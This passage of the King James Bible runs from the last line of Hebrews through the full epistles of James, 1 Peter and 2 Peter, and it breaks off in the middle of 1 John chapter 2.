Grace be with you all. Amen. + + + + +The General Epistle of James + + +1:1 James, a servant of God and of the Lord Jesus Christ, +to the twelve tribes which are scattered abroad, greeting. + +1:2 My brethren, count it all joy when ye fall into divers +temptations; 1:3 Knowing this, that the trying of your faith worketh +patience. + +1:4 But let patience have her perfect work, that ye may be perfect and +entire, wanting nothing. + +1:5 If any of you lack wisdom, let him ask of God, that giveth to all +men liberally, and upbraideth not; and it shall be given him. + +1:6 But let him ask in faith, nothing wavering. For he that wavereth +is like a wave of the sea driven with the wind and tossed. + +1:7 For let not that man think that he shall receive any thing of the +Lord. + +1:8 A double minded man is unstable in all his ways. + +1:9 Let the brother of low degree rejoice in that he is exalted: 1:10 +But the rich, in that he is made low: because as the flower of the +grass he shall pass away. + +1:11 For the sun is no sooner risen with a burning heat, but it +withereth the grass, and the flower thereof falleth, and the grace of +the fashion of it perisheth: so also shall the rich man fade away in +his ways. + +1:12 Blessed is the man that endureth temptation: for when he is +tried, he shall receive the crown of life, which the Lord hath +promised to them that love him. + +1:13 Let no man say when he is tempted, I am tempted of God: for God +cannot be tempted with evil, neither tempteth he any man: 1:14 But +every man is tempted, when he is drawn away of his own lust, and +enticed. + +1:15 Then when lust hath conceived, it bringeth forth sin: and sin, +when it is finished, bringeth forth death. + +1:16 Do not err, my beloved brethren. + +1:17 Every good gift and every perfect gift is from above, and cometh +down from the Father of lights, with whom is no variableness, neither +shadow of turning. + +1:18 Of his own will begat he us with the word of truth, that we +should be a kind of firstfruits of his creatures. + +1:19 Wherefore, my beloved brethren, let every man be swift to hear, +slow to speak, slow to wrath: 1:20 For the wrath of man worketh not +the righteousness of God. + +1:21 Wherefore lay apart all filthiness and superfluity of +naughtiness, and receive with meekness the engrafted word, which is +able to save your souls. + +1:22 But be ye doers of the word, and not hearers only, deceiving your +own selves. + +1:23 For if any be a hearer of the word, and not a doer, he is like +unto a man beholding his natural face in a glass: 1:24 For he +beholdeth himself, and goeth his way, and straightway forgetteth what +manner of man he was. + +1:25 But whoso looketh into the perfect law of liberty, and continueth +therein, he being not a forgetful hearer, but a doer of the work, this +man shall be blessed in his deed. + +1:26 If any man among you seem to be religious, and bridleth not his +tongue, but deceiveth his own heart, this man's religion is vain. + +1:27 Pure religion and undefiled before God and the Father is this, To +visit the fatherless and widows in their affliction, and to keep +himself unspotted from the world. + +2:1 My brethren, have not the faith of our Lord Jesus Christ, the Lord +of glory, with respect of persons. + +2:2 For if there come unto your assembly a man with a gold ring, in +goodly apparel, and there come in also a poor man in vile raiment; 2:3 +And ye have respect to him that weareth the gay clothing, and say unto +him, Sit thou here in a good place; and say to the poor, Stand thou +there, or sit here under my footstool: 2:4 Are ye not then partial in +yourselves, and are become judges of evil thoughts? 2:5 Hearken, my +beloved brethren, Hath not God chosen the poor of this world rich in +faith, and heirs of the kingdom which he hath promised to them that +love him? 2:6 But ye have despised the poor. Do not rich men oppress +you, and draw you before the judgment seats? 2:7 Do not they +blaspheme that worthy name by the which ye are called? 2:8 If ye +fulfil the royal law according to the scripture, Thou shalt love thy +neighbour as thyself, ye do well: 2:9 But if ye have respect to +persons, ye commit sin, and are convinced of the law as transgressors. + +2:10 For whosoever shall keep the whole law, and yet offend in one +point, he is guilty of all. + +2:11 For he that said, Do not commit adultery, said also, Do not kill. +Now if thou commit no adultery, yet if thou kill, thou art become a +transgressor of the law. + +2:12 So speak ye, and so do, as they that shall be judged by the law +of liberty. + +2:13 For he shall have judgment without mercy, that hath shewed no +mercy; and mercy rejoiceth against judgment. + +2:14 What doth it profit, my brethren, though a man say he hath faith, +and have not works? can faith save him? 2:15 If a brother or sister +be naked, and destitute of daily food, 2:16 And one of you say unto +them, Depart in peace, be ye warmed and filled; notwithstanding ye +give them not those things which are needful to the body; what doth it +profit? 2:17 Even so faith, if it hath not works, is dead, being +alone. + +2:18 Yea, a man may say, Thou hast faith, and I have works: shew me +thy faith without thy works, and I will shew thee my faith by my +works. + +2:19 Thou believest that there is one God; thou doest well: the devils +also believe, and tremble. + +2:20 But wilt thou know, O vain man, that faith without works is dead? +2:21 Was not Abraham our father justified by works, when he had +offered Isaac his son upon the altar? 2:22 Seest thou how faith +wrought with his works, and by works was faith made perfect? 2:23 And +the scripture was fulfilled which saith, Abraham believed God, and it +was imputed unto him for righteousness: and he was called the Friend +of God. + +2:24 Ye see then how that by works a man is justified, and not by +faith only. + +2:25 Likewise also was not Rahab the harlot justified by works, when +she had received the messengers, and had sent them out another way? +2:26 For as the body without the spirit is dead, so faith without +works is dead also. + +3:1 My brethren, be not many masters, knowing that we shall receive +the greater condemnation. + +3:2 For in many things we offend all. If any man offend not in word, +the same is a perfect man, and able also to bridle the whole body. + +3:3 Behold, we put bits in the horses' mouths, that they may obey us; +and we turn about their whole body. + +3:4 Behold also the ships, which though they be so great, and are +driven of fierce winds, yet are they turned about with a very small +helm, whithersoever the governor listeth. + +3:5 Even so the tongue is a little member, and boasteth great things. + +Behold, how great a matter a little fire kindleth! 3:6 And the tongue +is a fire, a world of iniquity: so is the tongue among our members, +that it defileth the whole body, and setteth on fire the course of +nature; and it is set on fire of hell. + +3:7 For every kind of beasts, and of birds, and of serpents, and of +things in the sea, is tamed, and hath been tamed of mankind: 3:8 But +the tongue can no man tame; it is an unruly evil, full of deadly +poison. + +3:9 Therewith bless we God, even the Father; and therewith curse we +men, which are made after the similitude of God. + +3:10 Out of the same mouth proceedeth blessing and cursing. My +brethren, these things ought not so to be. + +3:11 Doth a fountain send forth at the same place sweet water and +bitter? 3:12 Can the fig tree, my brethren, bear olive berries? +either a vine, figs? so can no fountain both yield salt water and +fresh. + +3:13 Who is a wise man and endued with knowledge among you? let him +shew out of a good conversation his works with meekness of wisdom. + +3:14 But if ye have bitter envying and strife in your hearts, glory +not, and lie not against the truth. + +3:15 This wisdom descendeth not from above, but is earthly, sensual, +devilish. + +3:16 For where envying and strife is, there is confusion and every +evil work. + +3:17 But the wisdom that is from above is first pure, then peaceable, +gentle, and easy to be intreated, full of mercy and good fruits, +without partiality, and without hypocrisy. + +3:18 And the fruit of righteousness is sown in peace of them that make +peace. + +4:1 From whence come wars and fightings among you? come they not +hence, even of your lusts that war in your members? 4:2 Ye lust, and +have not: ye kill, and desire to have, and cannot obtain: ye fight and +war, yet ye have not, because ye ask not. + +4:3 Ye ask, and receive not, because ye ask amiss, that ye may consume +it upon your lusts. + +4:4 Ye adulterers and adulteresses, know ye not that the friendship of +the world is enmity with God? whosoever therefore will be a friend of +the world is the enemy of God. + +4:5 Do ye think that the scripture saith in vain, The spirit that +dwelleth in us lusteth to envy? 4:6 But he giveth more grace. +Wherefore he saith, God resisteth the proud, but giveth grace unto the +humble. + +4:7 Submit yourselves therefore to God. Resist the devil, and he will +flee from you. + +4:8 Draw nigh to God, and he will draw nigh to you. Cleanse your +hands, ye sinners; and purify your hearts, ye double minded. + +4:9 Be afflicted, and mourn, and weep: let your laughter be turned to +mourning, and your joy to heaviness. + +4:10 Humble yourselves in the sight of the Lord, and he shall lift you +up. + +4:11 Speak not evil one of another, brethren. He that speaketh evil of +his brother, and judgeth his brother, speaketh evil of the law, and +judgeth the law: but if thou judge the law, thou art not a doer of the +law, but a judge. + +4:12 There is one lawgiver, who is able to save and to destroy: who +art thou that judgest another? 4:13 Go to now, ye that say, To day or +to morrow we will go into such a city, and continue there a year, and +buy and sell, and get gain: 4:14 Whereas ye know not what shall be on +the morrow. For what is your life? It is even a vapour, that appeareth +for a little time, and then vanisheth away. + +4:15 For that ye ought to say, If the Lord will, we shall live, and do +this, or that. + +4:16 But now ye rejoice in your boastings: all such rejoicing is evil. + +4:17 Therefore to him that knoweth to do good, and doeth it not, to +him it is sin. + +5:1 Go to now, ye rich men, weep and howl for your miseries that shall +come upon you. + +5:2 Your riches are corrupted, and your garments are motheaten. + +5:3 Your gold and silver is cankered; and the rust of them shall be a +witness against you, and shall eat your flesh as it were fire. Ye have +heaped treasure together for the last days. + +5:4 Behold, the hire of the labourers who have reaped down your +fields, which is of you kept back by fraud, crieth: and the cries of +them which have reaped are entered into the ears of the Lord of +sabaoth. + +5:5 Ye have lived in pleasure on the earth, and been wanton; ye have +nourished your hearts, as in a day of slaughter. + +5:6 Ye have condemned and killed the just; and he doth not resist you. + +5:7 Be patient therefore, brethren, unto the coming of the Lord. + +Behold, the husbandman waiteth for the precious fruit of the earth, +and hath long patience for it, until he receive the early and latter +rain. + +5:8 Be ye also patient; stablish your hearts: for the coming of the +Lord draweth nigh. + +5:9 Grudge not one against another, brethren, lest ye be condemned: +behold, the judge standeth before the door. + +5:10 Take, my brethren, the prophets, who have spoken in the name of +the Lord, for an example of suffering affliction, and of patience. + +5:11 Behold, we count them happy which endure. Ye have heard of the +patience of Job, and have seen the end of the Lord; that the Lord is +very pitiful, and of tender mercy. + +5:12 But above all things, my brethren, swear not, neither by heaven, +neither by the earth, neither by any other oath: but let your yea be +yea; and your nay, nay; lest ye fall into condemnation. + +5:13 Is any among you afflicted? let him pray. Is any merry? let him +sing psalms. + +5:14 Is any sick among you? let him call for the elders of the church; +and let them pray over him, anointing him with oil in the name of the +Lord: 5:15 And the prayer of faith shall save the sick, and the Lord +shall raise him up; and if he have committed sins, they shall be +forgiven him. + +5:16 Confess your faults one to another, and pray one for another, +that ye may be healed. The effectual fervent prayer of a righteous man +availeth much. + +5:17 Elias was a man subject to like passions as we are, and he prayed +earnestly that it might not rain: and it rained not on the earth by +the space of three years and six months. + +5:18 And he prayed again, and the heaven gave rain, and the earth +brought forth her fruit. + +5:19 Brethren, if any of you do err from the truth, and one convert +him; 5:20 Let him know, that he which converteth the sinner from the +error of his way shall save a soul from death, and shall hide a +multitude of sins. + + + + +The First Epistle General of Peter + + +1:1 Peter, an apostle of Jesus Christ, to the strangers scattered +throughout Pontus, Galatia, Cappadocia, Asia, and Bithynia, 1:2 Elect +according to the foreknowledge of God the Father, through +sanctification of the Spirit, unto obedience and sprinkling of the +blood of Jesus Christ: Grace unto you, and peace, be multiplied. + +1:3 Blessed be the God and Father of our Lord Jesus Christ, which +according to his abundant mercy hath begotten us again unto a lively +hope by the resurrection of Jesus Christ from the dead, 1:4 To an +inheritance incorruptible, and undefiled, and that fadeth not away, +reserved in heaven for you, 1:5 Who are kept by the power of God +through faith unto salvation ready to be revealed in the last time. + +1:6 Wherein ye greatly rejoice, though now for a season, if need be, +ye are in heaviness through manifold temptations: 1:7 That the trial +of your faith, being much more precious than of gold that perisheth, +though it be tried with fire, might be found unto praise and honour +and glory at the appearing of Jesus Christ: 1:8 Whom having not seen, +ye love; in whom, though now ye see him not, yet believing, ye rejoice +with joy unspeakable and full of glory: 1:9 Receiving the end of your +faith, even the salvation of your souls. + +1:10 Of which salvation the prophets have enquired and searched +diligently, who prophesied of the grace that should come unto you: +1:11 Searching what, or what manner of time the Spirit of Christ which +was in them did signify, when it testified beforehand the sufferings +of Christ, and the glory that should follow. + +1:12 Unto whom it was revealed, that not unto themselves, but unto us +they did minister the things, which are now reported unto you by them +that have preached the gospel unto you with the Holy Ghost sent down +from heaven; which things the angels desire to look into. + +1:13 Wherefore gird up the loins of your mind, be sober, and hope to +the end for the grace that is to be brought unto you at the revelation +of Jesus Christ; 1:14 As obedient children, not fashioning yourselves +according to the former lusts in your ignorance: 1:15 But as he which +hath called you is holy, so be ye holy in all manner of conversation; +1:16 Because it is written, Be ye holy; for I am holy. + +1:17 And if ye call on the Father, who without respect of persons +judgeth according to every man's work, pass the time of your +sojourning here in fear: 1:18 Forasmuch as ye know that ye were not +redeemed with corruptible things, as silver and gold, from your vain +conversation received by tradition from your fathers; 1:19 But with +the precious blood of Christ, as of a lamb without blemish and without +spot: 1:20 Who verily was foreordained before the foundation of the +world, but was manifest in these last times for you, 1:21 Who by him +do believe in God, that raised him up from the dead, and gave him +glory; that your faith and hope might be in God. + +1:22 Seeing ye have purified your souls in obeying the truth through +the Spirit unto unfeigned love of the brethren, see that ye love one +another with a pure heart fervently: 1:23 Being born again, not of +corruptible seed, but of incorruptible, by the word of God, which +liveth and abideth for ever. + +1:24 For all flesh is as grass, and all the glory of man as the flower +of grass. The grass withereth, and the flower thereof falleth away: +1:25 But the word of the Lord endureth for ever. And this is the word +which by the gospel is preached unto you. + +2:1 Wherefore laying aside all malice, and all guile, and hypocrisies, +and envies, all evil speakings, 2:2 As newborn babes, desire the +sincere milk of the word, that ye may grow thereby: 2:3 If so be ye +have tasted that the Lord is gracious. + +2:4 To whom coming, as unto a living stone, disallowed indeed of men, +but chosen of God, and precious, 2:5 Ye also, as lively stones, are +built up a spiritual house, an holy priesthood, to offer up spiritual +sacrifices, acceptable to God by Jesus Christ. + +2:6 Wherefore also it is contained in the scripture, Behold, I lay in +Sion a chief corner stone, elect, precious: and he that believeth on +him shall not be confounded. + +2:7 Unto you therefore which believe he is precious: but unto them +which be disobedient, the stone which the builders disallowed, the +same is made the head of the corner, 2:8 And a stone of stumbling, and +a rock of offence, even to them which stumble at the word, being +disobedient: whereunto also they were appointed. + +2:9 But ye are a chosen generation, a royal priesthood, an holy +nation, a peculiar people; that ye should shew forth the praises of +him who hath called you out of darkness into his marvellous light; +2:10 Which in time past were not a people, but are now the people of +God: which had not obtained mercy, but now have obtained mercy. + +2:11 Dearly beloved, I beseech you as strangers and pilgrims, abstain +from fleshly lusts, which war against the soul; 2:12 Having your +conversation honest among the Gentiles: that, whereas they speak +against you as evildoers, they may by your good works, which they +shall behold, glorify God in the day of visitation. + +2:13 Submit yourselves to every ordinance of man for the Lord's sake: +whether it be to the king, as supreme; 2:14 Or unto governors, as unto +them that are sent by him for the punishment of evildoers, and for the +praise of them that do well. + +2:15 For so is the will of God, that with well doing ye may put to +silence the ignorance of foolish men: 2:16 As free, and not using your +liberty for a cloke of maliciousness, but as the servants of God. + +2:17 Honour all men. Love the brotherhood. Fear God. Honour the king. + +2:18 Servants, be subject to your masters with all fear; not only to +the good and gentle, but also to the froward. + +2:19 For this is thankworthy, if a man for conscience toward God +endure grief, suffering wrongfully. + +2:20 For what glory is it, if, when ye be buffeted for your faults, ye +shall take it patiently? but if, when ye do well, and suffer for it, +ye take it patiently, this is acceptable with God. + +2:21 For even hereunto were ye called: because Christ also suffered +for us, leaving us an example, that ye should follow his steps: 2:22 +Who did no sin, neither was guile found in his mouth: 2:23 Who, when +he was reviled, reviled not again; when he suffered, he threatened +not; but committed himself to him that judgeth righteously: 2:24 Who +his own self bare our sins in his own body on the tree, that we, being +dead to sins, should live unto righteousness: by whose stripes ye were +healed. + +2:25 For ye were as sheep going astray; but are now returned unto the +Shepherd and Bishop of your souls. + +3:1 Likewise, ye wives, be in subjection to your own husbands; that, +if any obey not the word, they also may without the word be won by the +conversation of the wives; 3:2 While they behold your chaste +conversation coupled with fear. + +3:3 Whose adorning let it not be that outward adorning of plaiting the +hair, and of wearing of gold, or of putting on of apparel; 3:4 But let +it be the hidden man of the heart, in that which is not corruptible, +even the ornament of a meek and quiet spirit, which is in the sight of +God of great price. + +3:5 For after this manner in the old time the holy women also, who +trusted in God, adorned themselves, being in subjection unto their own +husbands: 3:6 Even as Sara obeyed Abraham, calling him lord: whose +daughters ye are, as long as ye do well, and are not afraid with any +amazement. + +3:7 Likewise, ye husbands, dwell with them according to knowledge, +giving honour unto the wife, as unto the weaker vessel, and as being +heirs together of the grace of life; that your prayers be not +hindered. + +3:8 Finally, be ye all of one mind, having compassion one of another, +love as brethren, be pitiful, be courteous: 3:9 Not rendering evil for +evil, or railing for railing: but contrariwise blessing; knowing that +ye are thereunto called, that ye should inherit a blessing. + +3:10 For he that will love life, and see good days, let him refrain +his tongue from evil, and his lips that they speak no guile: 3:11 Let +him eschew evil, and do good; let him seek peace, and ensue it. + +3:12 For the eyes of the Lord are over the righteous, and his ears are +open unto their prayers: but the face of the Lord is against them that +do evil. + +3:13 And who is he that will harm you, if ye be followers of that +which is good? 3:14 But and if ye suffer for righteousness' sake, +happy are ye: and be not afraid of their terror, neither be troubled; +3:15 But sanctify the Lord God in your hearts: and be ready always to +give an answer to every man that asketh you a reason of the hope that +is in you with meekness and fear: 3:16 Having a good conscience; that, +whereas they speak evil of you, as of evildoers, they may be ashamed +that falsely accuse your good conversation in Christ. + +3:17 For it is better, if the will of God be so, that ye suffer for +well doing, than for evil doing. + +3:18 For Christ also hath once suffered for sins, the just for the +unjust, that he might bring us to God, being put to death in the +flesh, but quickened by the Spirit: 3:19 By which also he went and +preached unto the spirits in prison; 3:20 Which sometime were +disobedient, when once the longsuffering of God waited in the days of +Noah, while the ark was a preparing, wherein few, that is, eight souls +were saved by water. + +3:21 The like figure whereunto even baptism doth also now save us (not +the putting away of the filth of the flesh, but the answer of a good +conscience toward God,) by the resurrection of Jesus Christ: 3:22 Who +is gone into heaven, and is on the right hand of God; angels and +authorities and powers being made subject unto him. + +4:1 Forasmuch then as Christ hath suffered for us in the flesh, arm +yourselves likewise with the same mind: for he that hath suffered in +the flesh hath ceased from sin; 4:2 That he no longer should live the +rest of his time in the flesh to the lusts of men, but to the will of +God. + +4:3 For the time past of our life may suffice us to have wrought the +will of the Gentiles, when we walked in lasciviousness, lusts, excess +of wine, revellings, banquetings, and abominable idolatries: 4:4 +Wherein they think it strange that ye run not with them to the same +excess of riot, speaking evil of you: 4:5 Who shall give account to +him that is ready to judge the quick and the dead. + +4:6 For for this cause was the gospel preached also to them that are +dead, that they might be judged according to men in the flesh, but +live according to God in the spirit. + +4:7 But the end of all things is at hand: be ye therefore sober, and +watch unto prayer. + +4:8 And above all things have fervent charity among yourselves: for +charity shall cover the multitude of sins. + +4:9 Use hospitality one to another without grudging. + +4:10 As every man hath received the gift, even so minister the same +one to another, as good stewards of the manifold grace of God. + +4:11 If any man speak, let him speak as the oracles of God; if any man +minister, let him do it as of the ability which God giveth: that God +in all things may be glorified through Jesus Christ, to whom be praise +and dominion for ever and ever. Amen. + +4:12 Beloved, think it not strange concerning the fiery trial which is +to try you, as though some strange thing happened unto you: 4:13 But +rejoice, inasmuch as ye are partakers of Christ's sufferings; that, +when his glory shall be revealed, ye may be glad also with exceeding +joy. + +4:14 If ye be reproached for the name of Christ, happy are ye; for the +spirit of glory and of God resteth upon you: on their part he is evil +spoken of, but on your part he is glorified. + +4:15 But let none of you suffer as a murderer, or as a thief, or as an +evildoer, or as a busybody in other men's matters. + +4:16 Yet if any man suffer as a Christian, let him not be ashamed; but +let him glorify God on this behalf. + +4:17 For the time is come that judgment must begin at the house of +God: and if it first begin at us, what shall the end be of them that +obey not the gospel of God? 4:18 And if the righteous scarcely be +saved, where shall the ungodly and the sinner appear? 4:19 Wherefore +let them that suffer according to the will of God commit the keeping +of their souls to him in well doing, as unto a faithful Creator. + +5:1 The elders which are among you I exhort, who am also an elder, and +a witness of the sufferings of Christ, and also a partaker of the +glory that shall be revealed: 5:2 Feed the flock of God which is among +you, taking the oversight thereof, not by constraint, but willingly; +not for filthy lucre, but of a ready mind; 5:3 Neither as being lords +over God's heritage, but being ensamples to the flock. + +5:4 And when the chief Shepherd shall appear, ye shall receive a crown +of glory that fadeth not away. + +5:5 Likewise, ye younger, submit yourselves unto the elder. Yea, all +of you be subject one to another, and be clothed with humility: for +God resisteth the proud, and giveth grace to the humble. + +5:6 Humble yourselves therefore under the mighty hand of God, that he +may exalt you in due time: 5:7 Casting all your care upon him; for he +careth for you. + +5:8 Be sober, be vigilant; because your adversary the devil, as a +roaring lion, walketh about, seeking whom he may devour: 5:9 Whom +resist stedfast in the faith, knowing that the same afflictions are +accomplished in your brethren that are in the world. + +5:10 But the God of all grace, who hath called us unto his eternal +glory by Christ Jesus, after that ye have suffered a while, make you +perfect, stablish, strengthen, settle you. + +5:11 To him be glory and dominion for ever and ever. Amen. + +5:12 By Silvanus, a faithful brother unto you, as I suppose, I have +written briefly, exhorting, and testifying that this is the true grace +of God wherein ye stand. + +5:13 The church that is at Babylon, elected together with you, +saluteth you; and so doth Marcus my son. + +5:14 Greet ye one another with a kiss of charity. Peace be with you +all that are in Christ Jesus. Amen. + + + + +The Second General Epistle of Peter + + +1:1 Simon Peter, a servant and an apostle of Jesus Christ, to them +that have obtained like precious faith with us through the +righteousness of God and our Saviour Jesus Christ: 1:2 Grace and peace +be multiplied unto you through the knowledge of God, and of Jesus our +Lord, 1:3 According as his divine power hath given unto us all things +that pertain unto life and godliness, through the knowledge of him +that hath called us to glory and virtue: 1:4 Whereby are given unto us +exceeding great and precious promises: that by these ye might be +partakers of the divine nature, having escaped the corruption that is +in the world through lust. + +1:5 And beside this, giving all diligence, add to your faith virtue; +and to virtue knowledge; 1:6 And to knowledge temperance; and to +temperance patience; and to patience godliness; 1:7 And to godliness +brotherly kindness; and to brotherly kindness charity. + +1:8 For if these things be in you, and abound, they make you that ye +shall neither be barren nor unfruitful in the knowledge of our Lord +Jesus Christ. + +1:9 But he that lacketh these things is blind, and cannot see afar +off, and hath forgotten that he was purged from his old sins. + +1:10 Wherefore the rather, brethren, give diligence to make your +calling and election sure: for if ye do these things, ye shall never +fall: 1:11 For so an entrance shall be ministered unto you abundantly +into the everlasting kingdom of our Lord and Saviour Jesus Christ. + +1:12 Wherefore I will not be negligent to put you always in +remembrance of these things, though ye know them, and be established +in the present truth. + +1:13 Yea, I think it meet, as long as I am in this tabernacle, to stir +you up by putting you in remembrance; 1:14 Knowing that shortly I must +put off this my tabernacle, even as our Lord Jesus Christ hath shewed +me. + +1:15 Moreover I will endeavour that ye may be able after my decease to +have these things always in remembrance. + +1:16 For we have not followed cunningly devised fables, when we made +known unto you the power and coming of our Lord Jesus Christ, but were +eyewitnesses of his majesty. + +1:17 For he received from God the Father honour and glory, when there +came such a voice to him from the excellent glory, This is my beloved +Son, in whom I am well pleased. + +1:18 And this voice which came from heaven we heard, when we were with +him in the holy mount. + +1:19 We have also a more sure word of prophecy; whereunto ye do well +that ye take heed, as unto a light that shineth in a dark place, until +the day dawn, and the day star arise in your hearts: 1:20 Knowing this +first, that no prophecy of the scripture is of any private +interpretation. + +1:21 For the prophecy came not in old time by the will of man: but +holy men of God spake as they were moved by the Holy Ghost. + +2:1 But there were false prophets also among the people, even as there +shall be false teachers among you, who privily shall bring in damnable +heresies, even denying the Lord that bought them, and bring upon +themselves swift destruction. + +2:2 And many shall follow their pernicious ways; by reason of whom the +way of truth shall be evil spoken of. + +2:3 And through covetousness shall they with feigned words make +merchandise of you: whose judgment now of a long time lingereth not, +and their damnation slumbereth not. + +2:4 For if God spared not the angels that sinned, but cast them down +to hell, and delivered them into chains of darkness, to be reserved +unto judgment; 2:5 And spared not the old world, but saved Noah the +eighth person, a preacher of righteousness, bringing in the flood upon +the world of the ungodly; 2:6 And turning the cities of Sodom and +Gomorrha into ashes condemned them with an overthrow, making them an +ensample unto those that after should live ungodly; 2:7 And delivered +just Lot, vexed with the filthy conversation of the wicked: 2:8 (For +that righteous man dwelling among them, in seeing and hearing, vexed +his righteous soul from day to day with their unlawful deeds;) 2:9 The +Lord knoweth how to deliver the godly out of temptations, and to +reserve the unjust unto the day of judgment to be punished: 2:10 But +chiefly them that walk after the flesh in the lust of uncleanness, and +despise government. Presumptuous are they, selfwilled, they are not +afraid to speak evil of dignities. + +2:11 Whereas angels, which are greater in power and might, bring not +railing accusation against them before the Lord. + +2:12 But these, as natural brute beasts, made to be taken and +destroyed, speak evil of the things that they understand not; and +shall utterly perish in their own corruption; 2:13 And shall receive +the reward of unrighteousness, as they that count it pleasure to riot +in the day time. Spots they are and blemishes, sporting themselves +with their own deceivings while they feast with you; 2:14 Having eyes +full of adultery, and that cannot cease from sin; beguiling unstable +souls: an heart they have exercised with covetous practices; cursed +children: 2:15 Which have forsaken the right way, and are gone astray, +following the way of Balaam the son of Bosor, who loved the wages of +unrighteousness; 2:16 But was rebuked for his iniquity: the dumb ass +speaking with man's voice forbad the madness of the prophet. + +2:17 These are wells without water, clouds that are carried with a +tempest; to whom the mist of darkness is reserved for ever. + +2:18 For when they speak great swelling words of vanity, they allure +through the lusts of the flesh, through much wantonness, those that +were clean escaped from them who live in error. + +2:19 While they promise them liberty, they themselves are the servants +of corruption: for of whom a man is overcome, of the same is he +brought in bondage. + +2:20 For if after they have escaped the pollutions of the world +through the knowledge of the Lord and Saviour Jesus Christ, they are +again entangled therein, and overcome, the latter end is worse with +them than the beginning. + +2:21 For it had been better for them not to have known the way of +righteousness, than, after they have known it, to turn from the holy +commandment delivered unto them. + +2:22 But it is happened unto them according to the true proverb, The +dog is turned to his own vomit again; and the sow that was washed to +her wallowing in the mire. + +3:1 This second epistle, beloved, I now write unto you; in both which +I stir up your pure minds by way of remembrance: 3:2 That ye may be +mindful of the words which were spoken before by the holy prophets, +and of the commandment of us the apostles of the Lord and Saviour: 3:3 +Knowing this first, that there shall come in the last days scoffers, +walking after their own lusts, 3:4 And saying, Where is the promise of +his coming? for since the fathers fell asleep, all things continue as +they were from the beginning of the creation. + +3:5 For this they willingly are ignorant of, that by the word of God +the heavens were of old, and the earth standing out of the water and +in the water: 3:6 Whereby the world that then was, being overflowed +with water, perished: 3:7 But the heavens and the earth, which are +now, by the same word are kept in store, reserved unto fire against +the day of judgment and perdition of ungodly men. + +3:8 But, beloved, be not ignorant of this one thing, that one day is +with the Lord as a thousand years, and a thousand years as one day. + +3:9 The Lord is not slack concerning his promise, as some men count +slackness; but is longsuffering to us-ward, not willing that any +should perish, but that all should come to repentance. + +3:10 But the day of the Lord will come as a thief in the night; in the +which the heavens shall pass away with a great noise, and the elements +shall melt with fervent heat, the earth also and the works that are +therein shall be burned up. + +3:11 Seeing then that all these things shall be dissolved, what manner +of persons ought ye to be in all holy conversation and godliness, 3:12 +Looking for and hasting unto the coming of the day of God, wherein the +heavens being on fire shall be dissolved, and the elements shall melt +with fervent heat? 3:13 Nevertheless we, according to his promise, +look for new heavens and a new earth, wherein dwelleth righteousness. + +3:14 Wherefore, beloved, seeing that ye look for such things, be +diligent that ye may be found of him in peace, without spot, and +blameless. + +3:15 And account that the longsuffering of our Lord is salvation; even +as our beloved brother Paul also according to the wisdom given unto +him hath written unto you; 3:16 As also in all his epistles, speaking +in them of these things; in which are some things hard to be +understood, which they that are unlearned and unstable wrest, as they +do also the other scriptures, unto their own destruction. + +3:17 Ye therefore, beloved, seeing ye know these things before, beware +lest ye also, being led away with the error of the wicked, fall from +your own stedfastness. + +3:18 But grow in grace, and in the knowledge of our Lord and Saviour +Jesus Christ. To him be glory both now and for ever. Amen. + + + + +The First Epistle General of John + + +1:1 That which was from the beginning, which we have heard, which we +have seen with our eyes, which we have looked upon, and our hands have +handled, of the Word of life; 1:2 (For the life was manifested, and we +have seen it, and bear witness, and shew unto you that eternal life, +which was with the Father, and was manifested unto us;) 1:3 That which +we have seen and heard declare we unto you, that ye also may have +fellowship with us: and truly our fellowship is with the Father, and +with his Son Jesus Christ. + +1:4 And these things write we unto you, that your joy may be full. + +1:5 This then is the message which we have heard of him, and declare +unto you, that God is light, and in him is no darkness at all. + +1:6 If we say that we have fellowship with him, and walk in darkness, +we lie, and do not the truth: 1:7 But if we walk in the light, as he +is in the light, we have fellowship one with another, and the blood of +Jesus Christ his Son cleanseth us from all sin. + +1:8 If we say that we have no sin, we deceive ourselves, and the truth +is not in us. + +1:9 If we confess our sins, he is faithful and just to forgive us our +sins, and to cleanse us from all unrighteousness. + +1:10 If we say that we have not sinned, we make him a liar, and his +word is not in us. + +2:1 My little children, these things write I unto you, that ye sin +not. + +And if any man sin, we have an advocate with the Father, Jesus Christ +the righteous: 2:2 And he is the propitiation for our sins: and not +for our's only, but also for the sins of the whole world. + +2:3 And hereby we do know that we know him, if we keep his +commandments. + +2:4 He that saith, I know him, and keepeth not his commandments, is a +liar, and the truth is not in him. + +2:5 But whoso keepeth his word, in him verily is the love of God +perfected: hereby know we that we are in him. + +2:6 He that saith he abideth in him ought himself also so to walk, +even as he walked. + +2:7 Brethren, I write no new commandment unto you, but an old +commandment which ye had from the beginning. The old commandment is +the word which ye have heard from the beginning. + +2:8 Again, a new commandment I write unto you, which thing is true in +him and in you: because the darkness is past, and the true light now +shineth. + +2:9 He that saith he is in the light, and hateth his brother, is in +darkness even until now. + +2:10 He that loveth his brother abideth in the light, and there is +none occasion of stumbling in him. + +2:11 But he that hateth his brother is in darkness, and walketh in +darkness, and knoweth not whither he goeth, because that darkness hath +blinded his eyes. + +2:12 I write unto you, little children, because your sins are forgiven +you for his name's sake. + +2:13 I write unto you, fathers, because ye have known him that is from +the beginning. I write unto you, young men, because ye have overcome +the wicked one. I write unto you, little children, because ye have +known the Father. + +2:14 I have written unto you, fathers, because ye have known him that +is from the beginning. I have written unto you, young men, because ye +are strong, and the word of God abideth in you, and ye have overcome +the wicked one. + +2:15 Love not the world, neither the things that are in the world. If +any man love the world, the love of the Father is not in him. + +2:16 For all that is in the world, the lust of the flesh, and the lust +of the eyes, and the pride of life, is not of the Father, but is of +the world. + +2:17 And the world passeth away, and the lust thereof: but he that +doeth the will of God abideth for ever. + +2:18 Little children, it is the last time: and as ye have heard that +antichrist shall come, even now are there many antichrists; whereby we +know that it is the last time. + +2:19 They went out from us, but they were not of us; for if they had +been of us, they would no doubt have continued with us: but they went +out, that they might be made manifest that they were not all of us. + +2:20 But ye have an unction from the Holy One, and ye know all things. + +2:21 I have not written unto you because ye know not the truth, but +because ye know it, and that no lie is of the truth. + +2:22 Who is a liar but he that denieth that Jesus is the Christ? He is +antichrist, that denieth the Father and the Son. + +2:23 Whosoever denieth the Son, the same hath not the Father: he that +acknowledgeth the Son hath the Father also. + +2:24 Let that therefore abide in you, which ye have heard from the +beginning. If that which ye have heard from the beginning shall remain +in you, ye also shall continue in the Son, and in the Father. + +2:25 And this is the promise that he hath promised us, even eternal +life. + +2:26 These things have I written unto you concerning them that seduce +you. + +2:27 But the anointing which ye have received of him abideth in you, +and ye need not that any man teach 